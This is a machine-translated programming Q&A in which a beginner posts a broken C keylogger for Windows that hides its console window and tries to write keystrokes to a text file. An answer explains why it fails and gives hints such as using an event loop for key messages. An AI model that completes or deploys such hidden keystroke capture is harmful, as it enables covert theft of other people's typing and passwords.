2013-11-23 3 views
4

C에서 기본 사항을 배운 후 필자는 일부 Windows API 기능을 연구했습니다. 교육 목적으로, 나는 간단한 키로거를 만들려고 노력했다. 레코드 키 입력만으로 .txt 파일로 저장할 수 있습니다. 나는 인터넷에서 몇 가지 예를 보았지만, 나는 그것을 더 쉽게 만들어 가고 싶다. 여기에 (내가 아직 완료하지 않은 경우) (이 작동하지 않는 이유를 모르겠어요) 내 코드입니다 :내 keylogger가 작동하지 않는 이유는 무엇입니까?

#include <stdio.h> 
#include <windows.h> 

int main(void) 
{ 
    short UserInputtedCharacter; 
    FILE *LogFile = fopen("log.txt", "a"); 

    //Hide console window 
    HWND HideWindow; 
    AllocConsole(); 
    HideWindow = FindWindowA("ConsoleWindowClass", NULL); 
    ShowWindow(HideWindow, 0); 

    while(1) 
    { 
     GetAsyncKeyState(UserInputtedCharacter); 

     switch(UserInputtedCharacter) 
     { 
      case VK_SPACE: 
       fputc(' ', LogFile); 
       break; 
      case VK_RETURN: 
       fputc('\n', LogFile); 
       break; 
      case VK_BACK: 
       fputs("[BACKSPACE]", LogFile); 
       break; 
      case VK_DELETE: 
       fputs("[DEL]", LogFile); 
       break; 
      case VK_CAPITAL: 
       fputs("[CAPS LOCK]", LogFile); 
       break; 
      case 0x30: 
       fputc('0', LogFile); 
       break; 
      case 0x31: 
       fputc('1', LogFile); 
       break; 
      case 0x32: 
       fputc('2', LogFile); 
       break; 
      case 0x33: 
       fputc('3', LogFile); 
       break; 
      case 0x34: 
       fputc('4', LogFile); 
       break; 
      case 0x35: 
       fputc('5', LogFile); 
       break; 
      case 0x36: 
       fputc('6', LogFile); 
       break; 
      case 0x37: 
       fputc('7', LogFile); 
       break; 
      case 0x38: 
       fputc('8', LogFile); 
       break; 
      case 0x39: 
       fputc('9', LogFile); 
       break; 
      case 0x61: 
       fputc('a', LogFile); 
       break; 
      case 0x62: 
       fputc('b', LogFile); 
       break; 
      case 0x63: 
       fputc('c', LogFile); 
       break; 
      case 0x64: 
       fputc('d', LogFile); 
       break; 
     } 
    } 
    fclose(LogFile); 
    return 0; 
} 

프로그램은 .txt 파일에 키 입력을 저장하지 않습니다.

그건 그렇고, 프로그램이 끝나기 전부터, 나는 왜 그것이 작동하지 않는지 궁금합니다.

+2

[so]에 오신 것을 환영합니다. 여기에 다른 젊은 프로그래머를 만나서 반갑습니다. "일하지 않는다"는 것이 무슨 뜻인지 설명해 주시겠습니까? 시간이 생기면 [도움]을보고 우리가 어떻게 일하고 있는지 그리고 여기에서 일하는 방식을 살펴보십시오. 고맙습니다! –

+2

아주 좋아 환영합니다 @ Qantas94 Heavy, very warm –

+0

문자 하나 하나를 모두 작성하는 것은 고통스럽고 반복적입니다 (오류가 발생하기 쉽습니다). 'isincii()','isprint()','isalnum()'과 같은 매크로를'#include '에서 검토해야 코드를 상당히 깍아 내릴 수 있습니다. –

답변

3

수정해야 할 사항이 많이 있습니다.

  1. GetAsyncKeyState 매개 변수가 수정되지 않았습니다. 작성된대로 전화를 모두 제거 할 수 있습니다. 귀하의 컴파일러가 UserInputtedCharacter이 초기화되기 전에 읽혀지는 것에 대해 불평했을 것입니다.
  2. Windows 프로그램은 이벤트 기반입니다. should write an event loop 그리고 WM_KEYDOWN 및 WM_KEYUP을 찾으십시오.
  3. 실행중인 코어의 모든 CPU를 소비하는 매우 단단한 루프가 있습니다. 이벤트 루프를 원하지 않거나 필요하지 않으면 getc() 또는 그와 비슷한 것을 살펴보십시오.
  4. 프로세스는 기본적으로 매우 고립되어 있습니다. 모든 응용 프로그램에서 키 스트로크를 읽는 것은 어렵습니다.

물론 배울 수있는 것은 없습니다. 그러나 더 간단한 프로젝트로 시작할 것을 생각하십시오. 인터넷에 연결하여 StackOverflow의 홈 페이지를 검색하는 자체 포함 된 응용 프로그램은 충분히 도전적이어야합니다.

+0

알았어, 고마워. 다른 키로거 소스는 이보다 훨씬 복잡한 코드를 가지고 있었고, 더 간단하게하려고 노력했습니다. 나는 복잡한 것들이 이유가 있었을 것 같아요. – user3024008

관련 문제